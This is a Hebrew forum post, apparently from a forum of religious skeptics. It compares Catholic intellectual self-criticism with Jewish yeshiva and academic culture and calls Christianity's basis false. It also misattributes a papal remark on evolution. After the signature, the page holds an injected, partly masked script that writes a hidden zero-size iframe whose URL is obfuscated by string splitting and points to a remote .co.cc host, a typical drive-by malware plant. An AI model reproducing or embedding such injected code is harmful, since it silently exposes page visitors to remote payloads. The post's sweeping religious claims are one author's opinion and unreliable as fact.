האם תופעת עצכ"ח יחודית רק לנו?

כן אפשר למצוא. עיין גוגל 

בלוג מומלץ:
http://tomerpersico.com

דייר

הנצרות מלאה בויכוחים סוערים על אמונותיה כמעט מאז היווסדה. חלק מבעלי הדעות החורגות הוכנסו לרשימת המחברים והספרים האסורים (שם יושב גם שפינוזה היהודי לצד ראשוני נצרות שכפרו בכך שיש"ו הוא אלוהים בנסתר).

בתקופה המודרנית (נניח מאה מאתיים שנה לפי המועט הידוע לי, וזה לא תחום התמחות שלי) יש קבוצות (כתות?) בנצרות שעוסקות במרץ בפילוסופיה בצורה מאד כנה. זה מצוי למשל אצל הקתולים. הם כותבים ספרי מחקר  טובים מאד - אל נשכח שהם כמו אברכים בכך שחלקם נזירים ונזירות, כך שהם מסודרים מצד הפרנסה וגם אינם מבזבזים זמן על משפחה... הם מודים בפה מלא שהמקורות ההיסטוריים שלהם לא בהכרח מהימנים, ועוסקים בבירורים היסטוריים שלא נעימים לבעלי אמונה.

כאן עלי להוסיף, כדי שלא יצא שאני מהלל בני דתות אחרות סתם. (אם כי אמת היא אמת רק שאצלם הבסיס חסר). אנו היהודים, לדעתי ולדעת רבים (אבל לא כל חברי הפורום) נהנים מכך שהבסיס שלנו אמיתי (ולמעשה בנה את עולם הרוח המערבי). לנוצרים יש בעיה. הבסיס של הנצרות שקרי. יש"ו, אם היה קיים וכנראה היה, לא היה בנו של אלוהים, לא מעבר למטאפורה שנכונה לגבי כל אדם. מאז אימצה הנצרות (הקתולית לפחות ובנותיה) דוגמות מחייבות ובלתי אפשריות, יש נסיון להתמודד עם הבעייתיות שלהן וזה נעשה אולי לא עם מסקניות (אין הודאה שהתכנים הפנימיים שקריים עד כמה שידוע לי) אבל עם התמודדות עם ביקורות היסטוריות, הבדלה בין דעות מקוריות לפרשנות מאוחרת, ועוד).

ואצלנו? עצכח זה דבר אחד ולמרבה הצער קצת ייחודי, לפחות בהיותו בפרהסיה. אבל אצלנו החינוך הוא לאמץ גם שקרים (נניח היות הזוהר ספר מוקדם ועתיק וקדוש ודובר אמת) לצד האמת הפשוטה היסודית שבבסיס דתנו.

אני כבר רואה לנגד עיני את ייתכן שלנו הטוב יוצא נגד האמירה שלי. וכי מי אמר שהאמונות של דת השכונה היהודית הן אמיתיות? נאמר לפחות כך כתשובה: האמיתות שלנו אינן מופרכות מתוכן. האמונות הנוצריות כן.

ובכל זאת, אצל הנוצרים יש שכבה אינטלקטואלית שעוסקת במרץ בביקורת עצמית. הדוגמא הבולטת שלה שיצאה החוצה היתה האפיפיור יוחנן פאולוס הראשון, שכנגד כל מחרימי האבולוציה אמר שהאבולוציה יכולה להיות אמת (או אמיתית) והיא האופן שהאלקים מנהיג את העולם.

ואצלנו? דוגמא פעוטה שאינה כה שולית היא של אותו רב שכתב ספר על ביולוגיה (שכחתי את שמו, אבל הוא נידון בפורום) והוחרם על ידי רבנים מפורסמים שאפילו לא קראו את הספר.

אז עצכח הוא אכן נקודה טובה, אם כי הפורום הפך ממעון לחרדים שואלים וזוכים לתשובות למקום של ויכוחים סוערים, אבל גם זו לטובה. אבל מדוע יש רק עצכח אחד כזה?

ועוד השוואה לנצרות הקתולית (ואולי התומיסטית, כבר כתבתי שאיני מתמצא בתחום). אצלם יש שילוב של מחקר אקדמי עם דתיות עמוקה, רצינית ומחוייבת. שוב, אני מהסס אם לכתוב שבחים על דת אחרת ושקרית. אבל אי אפשר לקחת את הנקודה הזו מהם, שנראית מפירסומים שונים שלהם. ואצלנו? המחקר האקדמי של "מדעי היהדות" עוסק, לדעתי, בהשמצות, בזלזול, בעקירה לשם עקירה. היהדות הישיבתית סגורה בעצמה ואינה מוכנה לשום ביקורת גם כאשר מדובר באמונות הבל ושקר. היכן המחקר ברמה אחראית ואקדמית שישלב בין זה לזה?

___תוקנו טעויות בולטות______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");